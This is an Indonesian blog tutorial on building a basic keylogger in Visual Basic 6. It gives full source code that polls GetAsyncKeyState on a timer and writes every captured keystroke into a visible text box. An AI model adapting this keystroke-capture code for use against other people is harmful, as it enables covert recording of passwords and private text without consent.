Tutorial Sederhana Membuat Keylogger Dengan Visual Basic 6.0

Halo selamat sore sobat bloggers.

kali ini saya mau sedikit ngeshare Tutorial sederhana bagaimana cara membuat Keylogger menggunakan Visual Basic 6. pada postingan saya yang kemarin ane sudah share cara membuat keylogger dengan flashdisk ,dan untuk postingan  kali ini,cara membuat keylogger nya dengan VB 6 .yang belum tau apa itu keylogger silahkan baca2 pada postingan yang sebelumnya.

okelah langsung saja sob :

Pertama2 yang harus ente persiapkan yang pasti adalah program Visual basic 6.0 ( kalau gak punya download di google banyak :D ) download yang portable juga gak masalah.

TUTORIAL:

1).Buka program Visual basic yang ente download tadi , pilih Standart Exe ,yang sudah ane lingkarin pada gambar dibawah.

2).Buatlah dan atur seperti ini:

  -2 buah timer (yang satu timer interval nya di ganti 100 lewat propertiesnya )

  -4 buah command button,Sekalian captionnya diganti seperti dibawah ini:

    CommandButton1 : Start

    CommandButton2 : Stop

    CommandButton3 : Clear

    CommandButton4 : Exit

-1 Text Box

inget yang diganti caption nya, bukan NAME nya, (untuk lihat properties klik kanan-properties) Lihat gambar!

3).Setelah semua dirubah caption nya maka akan jadi seperti gambar di bawah ini :

4).Copykan dan paste script di bawah ini pada Form1 ,caranya pilih menu View pada menu atas dan pilih Code,atau double klik pada Form1 untuk yang lebih cepat.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Command1_Click()

Timer1.Enabled = True

End Sub

Private Sub Command2_Click()

Timer1.Enabled = False

End Sub

Private Sub Command3_Click()

Text1.Text = ""

End Sub

Private Sub Command4_Click()

End

End Sub

Private Sub Form_Load()

Timer1.Interval = 1

End Sub

Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)

End

End Sub

Private Sub Text2_Change()

End

End Sub

Private Sub Timer1_Timer()

For i = 1 To 255

result = 0

result = GetAsyncKeyState(i)

If result = -32767 Then

Text1.Text = Text1.Text + Chr(i)

End If

Next i

End Sub

5).Nah kalau Kode di atas sudah di pastekan ,langkah terakhir hanya tinggal di run untuk mengetahui apakah berhasil atau tidak ,caranya pilih menu Run pada menu yang paling atas,jika berhasil akan nampak pada gambar di bawah ini.

6.) Nah sudah selesai :) ,tinggal kamu pilih menu File lalu Make project1.Exe dan simpan.

jadi deh aplikasi Keylogger sederhana buatan kamu.

Aplikasi tersebut bisa merekam apa yang kita ketikkan saat aplikasi keylogger itu di jalankan .

Okelah cukup sampai disini ya sob..

Semoga Bermanfaat :)